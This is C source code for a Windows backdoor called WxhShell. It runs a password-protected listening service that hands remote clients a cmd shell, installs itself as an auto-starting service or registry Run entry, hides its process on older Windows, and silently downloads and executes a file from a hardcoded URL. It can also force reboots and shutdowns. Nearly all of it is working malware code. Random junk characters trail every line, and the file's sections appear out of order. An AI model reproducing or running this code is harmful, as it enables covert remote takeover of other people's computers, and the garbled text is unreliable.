    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '?5S"??  
    if(Boot(SHUTDOWN)) +6 ho)YL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U<Vy>gIC  
    else { =tq1ogE  
    closesocket(wsh); 6VC-KY  
    ExitThread(0); 4iwf\#  
    } {o( * f  
    break; G(3;;F7"  
    } )`^ /(YG  
  // 获取shell byafb+x  
  case 's': { E-^2"j >o  
    CmdShell(wsh); 2SYKe$e  
    closesocket(wsh); EOhC6>ATh  
    ExitThread(0); a~,Kz\Tt  
    break; F'1k<V?  
  } z?)He)d  
  // 退出 QCWf.@n  
  case 'x': { R }1W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P/G>/MD/l  
    CloseIt(wsh); rS4%$p"  
    break; JRXRi*@  
    } }w#F6  
  // 离开 h(nj,X+  
  case 'q': { d .p'pGL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e gI&epN  
    closesocket(wsh); 19p8B&  
    WSACleanup(); uxb:^d?D!  
    exit(1); LX\)8~dp  
    break; ;,k=<]  
        } pl|h>4af  
  } 9p4y>3  
  } X &D{5~qC  
W2hA-1  
  // 提示信息 )&:L'N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jld\8=  
} tF^g<)S;t  
  } eQ;Q4  
gX^ PSsp  
  return; %&h c"7/k  
} J#''q"rZ  
n}JPYu  
// shell模块句柄 9Sz7\W0  
int CmdShell(SOCKET sock) *}w+ 68eO  
{ LL.x11 o3  
STARTUPINFO si; pw\P<9e=  
ZeroMemory(&si,sizeof(si)); q*bt4,D&Es  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tb,9a!?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P\AqpQv  
PROCESS_INFORMATION ProcessInfo; t+O e)Ns  
char cmdline[]="cmd"; ,:UX<6l R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'C^;OjAg  
  return 0; p?JQ[K7i  
} f!x[ln<  
m'bi\1Q  
// 自身启动模式 /OG zt  
int StartFromService(void) R&*@@F-dx  
{ {n&Uf{  
typedef struct 1'Rmg\(  
{ Xh}&uZ`A  
  DWORD ExitStatus; 9 I{/zKq  
  DWORD PebBaseAddress; )c+k_;t'+  
  DWORD AffinityMask; D:9 2\l  
  DWORD BasePriority; m(_9<bc>  
  ULONG UniqueProcessId; &I/qG`W  
  ULONG InheritedFromUniqueProcessId; O,'#C\   
}   PROCESS_BASIC_INFORMATION; to`mnp9Z  
nZ E)_  
PROCNTQSIP NtQueryInformationProcess; i%F<AY\O)  
),` 8eQC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "VTF}#Uo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (`c G  
:h*a rT4{  
  HANDLE             hProcess; #K|9^4jt  
  PROCESS_BASIC_INFORMATION pbi; 50$W0L$  
+ >nr.,qo3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]iVLHVqz  
  if(NULL == hInst ) return 0; /iG7MC\`  
Ilq=wPD}j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R5(T([w'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o\!qcoE2W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #]Y*0Wzpfn  
t,<UohL|z  
  if (!NtQueryInformationProcess) return 0; (>7>3  
>bIF>9T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [_.n$p-  
  if(!hProcess) return 0; 24B<[lSK  
iKAusWj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t)a;/scT  
HdNnUDb$B  
  CloseHandle(hProcess); gKi{Y1  
HID([Wk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *x(Jq?5O7X  
if(hProcess==NULL) return 0; >2lwWXA  
pj8azFZ  
HMODULE hMod; g7n "  
char procName[255]; ;gB`YNL  
unsigned long cbNeeded; yWb4Ify  
rQr!R$t/[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Md&WJ };L  
eB]R3j{  
  CloseHandle(hProcess);  rLv;Y  
/XbW<dfl  
if(strstr(procName,"services")) return 1; // 以服务启动 c^9tYNn  
#ekM"p  
  return 0; // 注册表启动 r*XLV{+4  
} N$#\Xdo  
iqPBsIW  
// 主模块 *y]+dK&-  
int StartWxhshell(LPSTR lpCmdLine) K{=PQ XSU  
{ :L:&t,X  
  SOCKET wsl; fY W|p<Q0  
BOOL val=TRUE; +B"0{>n}F  
  int port=0; ;rR/5d1!  
  struct sockaddr_in door; %!|O.xxRR  
nc?B6IV  
  if(wscfg.ws_autoins) Install(); lm0N5(XP  
,={t8lN  
port=atoi(lpCmdLine); {' 5qv@3  
$kPHxD!"  
if(port<=0) port=wscfg.ws_port; qTmD '2  
n7! H:{L  
  WSADATA data; `JURQ:l)3^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !mnUdR|>(  
2`bdrRD0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T@ YGB]*Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DuF"*R~et  
  door.sin_family = AF_INET; Q8nId<\(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EL D!{bMT  
  door.sin_port = htons(port); ] d?x$>  
K$[$4 dX]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *hY2.t; X  
closesocket(wsl); L%\b'fs  
return 1; 2A:,;~UH  
} wCKj7y[  
{/8Q)2*>0  
  if(listen(wsl,2) == INVALID_SOCKET) { l67Jl"v  
closesocket(wsl); ?QA\G6i4  
return 1; EHlytG}@  
} CWO=0_>2  
  Wxhshell(wsl); S }>n1F_  
  WSACleanup(); 2PRGwK/  
MECR0S9  
return 0; Yzd-1Jvk  
!zD| @sX{  
} jk)U~KGcg  
/bg8oB4  
// 以NT服务方式启动 $U!w#|&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wjpkh~ qo  
{ UUX _x?BD  
DWORD   status = 0; Dz.U&+*  
  DWORD   specificError = 0xfffffff; ^ 3Vjmv  
8amtTM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x'}{^'}/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d d8^V_Kx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /K'Kx  
  serviceStatus.dwWin32ExitCode     = 0; iPxSVH[  
  serviceStatus.dwServiceSpecificExitCode = 0; KPKby?qQ^  
  serviceStatus.dwCheckPoint       = 0; )00#Rrt9  
  serviceStatus.dwWaitHint       = 0; AX[/S8|6  
vVE^Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;0 @"1`  
  if (hServiceStatusHandle==0) return; NH4EsV]  
J\#6U|a""u  
status = GetLastError(); jt?R a1Z  
  if (status!=NO_ERROR) z^ ~fVl  
{ ZN^9w"A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {?,:M  
    serviceStatus.dwCheckPoint       = 0; )\p@E3Uxf  
    serviceStatus.dwWaitHint       = 0; T< P4+#JK  
    serviceStatus.dwWin32ExitCode     = status; HD Eqq  
    serviceStatus.dwServiceSpecificExitCode = specificError; )07M8o !^l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C!v0*^i  
    return; ?zxKk(J  
  } (n#  
eD G=-a4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |)1"*`z  
  serviceStatus.dwCheckPoint       = 0; .] 5&\  
  serviceStatus.dwWaitHint       = 0; `Q}.9s_ri  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?DM-C5$  
} O`H[,+vm[  
G| ^tqI  
// 处理NT服务事件,比如:启动、停止 .3oFSc`q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UI |D?z<  
{ 0W#.$X5  
switch(fdwControl) ">NBPanJ  
{ 2x'JR yef  
case SERVICE_CONTROL_STOP: Ywlym\ [+  
  serviceStatus.dwWin32ExitCode = 0; -x5^>+Y4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >L)Xyq  
  serviceStatus.dwCheckPoint   = 0; %5jxq9:K  
  serviceStatus.dwWaitHint     = 0; 7vgz=- MZ#  
  { si0jXue~j\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NcRY Ch  
  } \Ui8Sgeei  
  return; >e"1a/2%>&  
case SERVICE_CONTROL_PAUSE: *(s)CWf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $:F]O$A  
  break; d(42ob.Tr  
case SERVICE_CONTROL_CONTINUE: .#EmE'IP*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F6YMcdU  
  break; 2A {k>TjQ  
case SERVICE_CONTROL_INTERROGATE: : !J!l u  
  break; ppfBfMX  
}; DYbkw4Z,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fp|x,-  
} *_3+ DF  
WZ;f3 "  
// 标准应用程序主函数 G)iV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =)(sN"%  
{ zEpcJHI%  
@R(6w{h9  
// 获取操作系统版本 w~X1Il7A  
OsIsNt=GetOsVer(); lRX*\ M\`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bsR&%C  
YjoN: z`b  
  // 从命令行安装 kMf]~EZ?  
  if(strpbrk(lpCmdLine,"iI")) Install(); dGTAZ(1W  
,d@.@a] `  
  // 下载执行文件 Skq%S`1%Q  
if(wscfg.ws_downexe) { g_5:o 3s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \{P(s:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4Ts5*_  
} 6ZR'1_i6i=  
~;3N'o  
if(!OsIsNt) { *GTCVxu  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ik(TII_  
HideProc(); %7z  
StartWxhshell(lpCmdLine); $:t;WXc.<  
} B}C"Xc  
else Y_xPr%%A  
  if(StartFromService()) =VH, i/@  
  // 以服务方式启动 W,}HQ  
  StartServiceCtrlDispatcher(DispatchTable); \:'=ccf  
else I.euuzBgA  
  // 普通方式启动 *U)!9DvA  
  StartWxhshell(lpCmdLine); =ugxPgn  
AN\:  
return 0; uy9k^4Cqa  
} +Y0Wiwr'  
>s1'I:8  
(sq4  
/q ;MihK  
=========================================== a.y_o50#T  
>u4%s7 v  
{]n5h#c 5*  
FQ*4?D,A  
H B_si  
`Jq ?+W  
" %}MZWf{  
S2HGf~rE  
#include <stdio.h> S ])Ap'E  
#include <string.h> zC\ pd#  
#include <windows.h> `i<;5s!rX  
#include <winsock2.h> ?a+tL'D[  
#include <winsvc.h> !i&^H,  
#include <urlmon.h> T9osueh4  
Hc ]/0:  
#pragma comment (lib, "Ws2_32.lib") Eb7qM.Q] &  
#pragma comment (lib, "urlmon.lib") %K@D{ )r_^  
:<Yc V#!P  
#define MAX_USER   100 // 最大客户端连接数 x JQde 4  
#define BUF_SOCK   200 // sock buffer A% 9TS/-p  
#define KEY_BUFF   255 // 输入 buffer q+>J'UGb  
(30{:o&^  
#define REBOOT     0   // 重启 K, ae-#wgb  
#define SHUTDOWN   1   // 关机 HF" v \  
dq%7A=-  
#define DEF_PORT   5000 // 监听端口 -o#HO_9  
vz</|s  
#define REG_LEN     16   // 注册表键长度 J*Dj`@`4`g  
#define SVC_LEN     80   // NT服务名长度 >:%i,K*AM  
yd2v_  
// 从dll定义API kz\ D-b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X2hV)8Sk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;Oh4W<hH}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <7fF9X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #"&h'V  
OM*N)*  
// wxhshell配置信息 Y0:y72mK  
struct WSCFG { -g(&5._,ZW  
  int ws_port;         // 监听端口 Va/LMw  
  char ws_passstr[REG_LEN]; // 口令 AmNmhcN  
  int ws_autoins;       // 安装标记, 1=yes 0=no `d2}>  
  char ws_regname[REG_LEN]; // 注册表键名 D_ybgX?0:  
  char ws_svcname[REG_LEN]; // 服务名 O'{UAb+-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &2C6q04b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SUsD)!u_H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2qLRcA=R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w-*$gk]   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J;,6ydf8!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rT9<_<  
i,=greA]"  
}; h<U<K O  
jE|Ju:}&  
// default Wxhshell configuration ,7,x9qE"  
struct WSCFG wscfg={DEF_PORT, o_ka'|  
    "xuhuanlingzhe", 2j&-3W$^  
    1, 4vKp341B  
    "Wxhshell", -f IX6  
    "Wxhshell", iD+Q\l;%  
            "WxhShell Service", cf)2GoV>e  
    "Wrsky Windows CmdShell Service", ^Lr)STh  
    "Please Input Your Password: ", Jy?s'tc  
  1, hn\<'|n  
  "http://www.wrsky.com/wxhshell.exe", ,=whwl "tA  
  "Wxhshell.exe" V1 T?T9m  
    }; RO?5WJpPj  
}UNRe]ft$  
// 消息定义模块 ieXhOA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {)nm {IV,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fr kDf-P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~`)`Ip  
char *msg_ws_ext="\n\rExit."; HEHTj,T  
char *msg_ws_end="\n\rQuit."; ]ZKmf}A)1P  
char *msg_ws_boot="\n\rReboot..."; -02c I}e  
char *msg_ws_poff="\n\rShutdown..."; CnyCEIO-  
char *msg_ws_down="\n\rSave to "; 4UD<g+|  
d7s? c  
char *msg_ws_err="\n\rErr!"; <+@?V$&  
char *msg_ws_ok="\n\rOK!"; Sn=|Q4ZN  
={,\6a|]:  
char ExeFile[MAX_PATH]; PhL}V|W>  
int nUser = 0; A.tONPi  
HANDLE handles[MAX_USER]; Y-\/Y*;cd  
int OsIsNt; A8 V7\  
)7@f{E#w  
SERVICE_STATUS       serviceStatus; 6U[`CGL66  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &1)4B  
nI4Kuz`dF  
// 函数声明 <?UbzT7X  
int Install(void); Im7<\ b@  
int Uninstall(void); |hms'n0  
int DownloadFile(char *sURL, SOCKET wsh); *ub]M3O  
int Boot(int flag); [r,a0s  
void HideProc(void); C-!!1-Eq?:  
int GetOsVer(void); !]AM#LJ  
int Wxhshell(SOCKET wsl); x_Zi^]  
void TalkWithClient(void *cs); ;Q"xXT`;:  
int CmdShell(SOCKET sock); j9"uxw@  
int StartFromService(void); U6^x(2De  
int StartWxhshell(LPSTR lpCmdLine); eF+:w:\h  
-4ityS @  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qgREkb0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^<X+t&!z  
cojtQ D6  
// 数据结构和表定义 u!I Es  
SERVICE_TABLE_ENTRY DispatchTable[] = u[nx?!  
{ hTgWqp  
{wscfg.ws_svcname, NTServiceMain}, sb"z=4  
{NULL, NULL} lbM)U  
}; DM {r<?V  
*J[3f]PBmR  
// 自我安装 xs+pCK|  
int Install(void) %Jy0?WN  
{ *J^l r"%c  
  char svExeFile[MAX_PATH]; f Z8%Z   
  HKEY key; k#mQLv  
  strcpy(svExeFile,ExeFile); )~/;Xl#b-  
wdS4iQD  
// 如果是win9x系统,修改注册表设为自启动 G.v zz-yG  
if(!OsIsNt) { DUBEh@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =!}n .  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hP1}Do  
  RegCloseKey(key); ;',hwo_LBf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R@*mMWW,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P<<?7_ ??  
  RegCloseKey(key); 0 *!CJ;%N  
  return 0; ee7#PE]}  
    } z&fXxp  
  } tA#7Xr+  
} G@s]HJ:  
else { mqw5\7s?  
u,h,;'J  
// 如果是NT以上系统,安装为系统服务 Bw5zh1ALC;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c6 O1Z\M@\  
if (schSCManager!=0) 5:3%RTLG  
{ QuG=am?l`  
  SC_HANDLE schService = CreateService 0 #*M'C#  
  ( uu08q<B5b)  
  schSCManager, lw/zgR#|  
  wscfg.ws_svcname, e,j2#wjor  
  wscfg.ws_svcdisp, ,'=Tf=wq  
  SERVICE_ALL_ACCESS, -1\*}m%1e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +Fn^@/?yC  
  SERVICE_AUTO_START, 2hZ>bg  
  SERVICE_ERROR_NORMAL, }^T7S2_Qy  
  svExeFile, y2"PKBK\_  
  NULL, $raxf80A  
  NULL, ;ZnSWIF2  
  NULL, 82w;}(!  
  NULL, SZ/}2_;  
  NULL M5$YFGGR  
  ); .MoOjx?  
  if (schService!=0) &G#LQl  
  { N0Y$QWr_$  
  CloseServiceHandle(schService); R^_7B(  
  CloseServiceHandle(schSCManager); d4y?2p ?3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P'EPP*)q  
  strcat(svExeFile,wscfg.ws_svcname); /g|H?F0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X<pg^Y0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |r5e#3w  
  RegCloseKey(key); 608}-J=3#  
  return 0; N)F&c!anh  
    } g43j-[j)  
  } Dt1v`T~=?  
  CloseServiceHandle(schSCManager); />wM#)o2  
} hLs<g!*O  
} + F{hFuHV  
ld RV JVZc  
return 1; Z*AT &7  
} TH;kJ{[}  
-4rXOmiA  
// 自我卸载 jkTh)Bm|'  
int Uninstall(void) &m=GkK  
{ @D?KS;#  
  HKEY key; h=:*cqp4  
{P'_s ]B)  
if(!OsIsNt) { Yf=an`"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { goE \C  
  RegDeleteValue(key,wscfg.ws_regname); S JseP_-  
  RegCloseKey(key); ]xx}\k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3q$[r_   
  RegDeleteValue(key,wscfg.ws_regname); iy<|<*s2D  
  RegCloseKey(key); C:*=tD1  
  return 0; oFO)28Btv  
  } w^ AY= Fc  
} (D.B'V#>  
} S.<aCN<@  
else { {V8yJ{.G  
-Kas9\VWEw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m;_gNh8Ee  
if (schSCManager!=0) ;\N )RZ  
{ Nldy76|g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Li'>pQ+  
  if (schService!=0) t!=qt*  
  { -qbx:Kk (  
  if(DeleteService(schService)!=0) { 0[# zn  
  CloseServiceHandle(schService); m{ wk0  
  CloseServiceHandle(schSCManager); L:.z FW,  
  return 0; 9wTN *y  
  } Z! /!4(Fh  
  CloseServiceHandle(schService); P&>!B,f  
  } ^vj}  
  CloseServiceHandle(schSCManager); OV"uIY[%8V  
} Lhts4D/V7  
} r_x|2 A oO  
iL$~d@AEn  
return 1; W0I)< S  
} nrF5^eZ#  
|3bCq(ZR\P  
// 从指定url下载文件 r6b;v2!8  
int DownloadFile(char *sURL, SOCKET wsh) Ah?,9r=U  
{ 'vX:)ZDi  
  HRESULT hr; L0Ycf|[s,  
char seps[]= "/"; {vhP'!a6W  
char *token; *QGyF`Go{  
char *file; ?mA%`*=q  
char myURL[MAX_PATH]; hr/H vB  
char myFILE[MAX_PATH]; .eHOG]H  
]aMeMhe-  
strcpy(myURL,sURL); W=S<DtG2  
  token=strtok(myURL,seps); MQY}}a-oug  
  while(token!=NULL) 4lF(..Ix  
  { &)$}Nk  
    file=token; vTl7x  
  token=strtok(NULL,seps); Yo*.? Mq'  
  } %K[u  
 Tb[1\  
GetCurrentDirectory(MAX_PATH,myFILE); ]zATdfa  
strcat(myFILE, "\\"); L)z`  
strcat(myFILE, file); R_zQiSwG<  
  send(wsh,myFILE,strlen(myFILE),0); 6b wzNY 7  
send(wsh,"...",3,0); P?o|N<46  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KCl85Wi'  
  if(hr==S_OK) JC.nfxG@:  
return 0; k^#+Wma7  
else TY`t3  
return 1; <}Hs@`jS  
)?MUUI:  
} /Y`u4G()  
V^%P}RFMc  
// 系统电源模块 -(lCM/h  
int Boot(int flag) l 2ARM3"  
{ :[J'B4>9  
  HANDLE hToken; He)!Ez\X  
  TOKEN_PRIVILEGES tkp; $1uT`>%  
E0)43  
  if(OsIsNt) { xl ]1TB@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); REGk2t.L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %PlA9@:IZ  
    tkp.PrivilegeCount = 1; E<[ Y KY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f;=<$Y>i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cd(YH! 3  
if(flag==REBOOT) { `kYcTFk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /^sk y!  
  return 0; t Uk)S  
} [?55vYt  
else { Fv-~v&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~0Z.,p_  
  return 0; LUzn7FZk  
} )?{jD  
  } l.xKv$uOGR  
  else { %W^Zob  
if(flag==REBOOT) { K/0Wp %  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JqV}>"WMV  
  return 0; >0JC u^9  
} zG)vmysJf  
else { x c|1?AFj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3}lIY7 O  
  return 0; 8osP$"/o  
} )lU9\"?o  
} #~ZaN;u  
LT#EYnG  
return 1; k\X yR4r  
} @rS(3wu_&  
(SMk !b]}  
// win9x进程隐藏模块 <+Gf!0i  
void HideProc(void) gh `]OxA  
{ phR:=Ox|1  
lS]6Sk Z6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $IqubC>O  
  if ( hKernel != NULL ) Gkm {b[  
  { c8Nl$|B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bwI"V&*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #nq_R  
    FreeLibrary(hKernel); *i {e$Zv'  
  } 2U3e!V  
LIll@2[  
return; >T)tAZ?WK  
} 6mqp`x`  
29zMs9oKPP  
// 获取操作系统版本 Sx1|Oq]  
int GetOsVer(void) .{-X1tJ7  
{ ?R_fg  
  OSVERSIONINFO winfo; ZiPz~G0[^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b&6lu4D  
  GetVersionEx(&winfo); Dutc#?bT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qq%~e41ec  
  return 1; OC)=KV@KE  
  else o]WcODJdl  
  return 0; 9&{z?*  
} UOyM=#ipY  
tt|P-p-  
// 客户端句柄模块 ~14|y|\/  
int Wxhshell(SOCKET wsl) RKZBI?@4  
{ b~2LD3"3  
  SOCKET wsh; i-?mghe8  
  struct sockaddr_in client; eVd:C8q  
  DWORD myID; 3 2"f'{  
6s>io%,:  
  while(nUser<MAX_USER) JXHf$k  
{ uw/N`u  
  int nSize=sizeof(client); H^dw=kS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); putRc??o;  
  if(wsh==INVALID_SOCKET) return 1; CM7NdK?I  
SYh>FF"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '<QFf  
if(handles[nUser]==0) ,f@j4*)  
  closesocket(wsh); oF a,IA  
else @R<z=n"  
  nUser++; . IM]B4m  
  } ~7FS'!W,F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e.^?hwl  
)!U@:x\K  
  return 0; x$t2Y<_  
} R"l6|9tmP  
;kWWzg  
// 关闭 socket ^Ku]8/ga  
void CloseIt(SOCKET wsh) #;5Q d'  
{ SurreD<x  
closesocket(wsh); "ZPgl 8  
nUser--; HAo=t  
ExitThread(0); u'k+t`V&  
} 9_4(}|"N|  
p1hF.  
// 客户端请求句柄 ?JTTl;  
void TalkWithClient(void *cs) 1wH6 hN,  
{ n).*=YLN  
We\i0zUU  
  SOCKET wsh=(SOCKET)cs; mU  
  char pwd[SVC_LEN]; /n6ZN4  
  char cmd[KEY_BUFF]; d`C$vj  
char chr[1]; 8B]\;m  
int i,j; 2(x| %  
w{u,YM(Q  
  while (nUser < MAX_USER) { t)uxW 7  
6!?] (  
if(wscfg.ws_passstr) { TvS<;0~K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h_\( $"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XR 3 dG:  
  //ZeroMemory(pwd,KEY_BUFF); dA E85  
      i=0; A:D9qp  
  while(i<SVC_LEN) { '9zKaL  
q@~{ g[   
  // 设置超时 %IE;'aa }  
  fd_set FdRead; Z {:;LC  
  struct timeval TimeOut; ~wF3$H.@;  
  FD_ZERO(&FdRead); e igVT4  
  FD_SET(wsh,&FdRead); p|NY.N  
  TimeOut.tv_sec=8; -T i<H9OV  
  TimeOut.tv_usec=0; hOkn@F.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); = Ezg3$%-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q'!'+;&%  
T8)X?>CIW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BlZB8KI~  
  pwd=chr[0]; 7[uN;B#V  
  if(chr[0]==0xd || chr[0]==0xa) { 1RX-`"^+  
  pwd=0; k.2GIc:5  
  break; tQYV4h\Qj  
  } 7E#h(bt j  
  i++; :Ny[?jt c  
    } !F1M(zFD  
/q<__N  
  // 如果是非法用户,关闭 socket x.f]1S7h[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /.3}aj;6  
} IAw{P08+  
7Nk!1s :  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d*jMZ%@uS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,5|&A  
Fgp]l2*  
while(1) { b6Wqr/  
|_] Q$q[[%  
  ZeroMemory(cmd,KEY_BUFF); {l>yi  
{ vKLAxc  
      // 自动支持客户端 telnet标准   {_`^R>"\&w  
  j=0; *]AdUEV?  
  while(j<KEY_BUFF) { JTr vnA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S'4(0j  
  cmd[j]=chr[0]; rf?qdd(~cH  
  if(chr[0]==0xa || chr[0]==0xd) { .$qnZWcgG  
  cmd[j]=0; <R''oEf9  
  break; qyF{f8pzq  
  } luo   
  j++; AfX}y+Ah  
    } ,u+PyG7 cb  
Bk*F_>X"  
  // 下载文件 |.F$G<  
  if(strstr(cmd,"http://")) { \MbB#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eM$sv9?  
  if(DownloadFile(cmd,wsh)) :+qF8t[L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l5zS  
  else *A"~m !=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AyNI$Q6Z  
  } [P&7i57  
  else { 1DE1.1  
;A]@4*q  
    switch(cmd[0]) { *:Vq:IU[D  
